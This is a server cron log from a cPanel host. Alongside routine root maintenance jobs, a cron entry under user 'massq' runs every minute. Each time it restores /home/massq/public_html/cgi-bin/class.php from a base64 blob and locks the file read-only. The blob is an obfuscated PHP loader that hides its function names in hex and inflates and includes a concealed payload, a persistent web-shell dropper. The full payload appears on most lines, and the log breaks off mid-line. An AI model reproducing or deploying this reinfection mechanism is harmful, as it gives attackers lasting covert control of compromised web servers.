Apr  8 17:54:01 server CROND[21307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:55:01 server CROND[21374]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 17:55:01 server CROND[21375]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 17:55:01 server CROND[21376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:56:01 server CROND[21485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:57:01 server CROND[21552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:57:01 server CROND[21553]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 17:58:01 server CROND[21742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:59:01 server CROND[21809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:00:01 server CROND[21874]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  8 18:00:01 server CROND[21876]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 18:00:01 server CROND[21877]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 18:00:01 server CROND[21875]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 18:00:01 server CROND[21879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:01:01 server CROND[22028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:01:01 server CROND[22029]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 18:01:01 server run-parts(/etc/cron.hourly)[22029]: starting 0anacron
Apr  8 18:01:01 server run-parts(/etc/cron.hourly)[22041]: finished 0anacron
Apr  8 18:02:01 server CROND[22114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:03:01 server CROND[22287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:04:01 server CROND[22359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:05:01 server CROND[22428]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 18:05:01 server CROND[22429]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 18:05:01 server CROND[22430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:05:01 server CROND[22431]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 18:06:01 server CROND[22565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:07:01 server CROND[22649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVR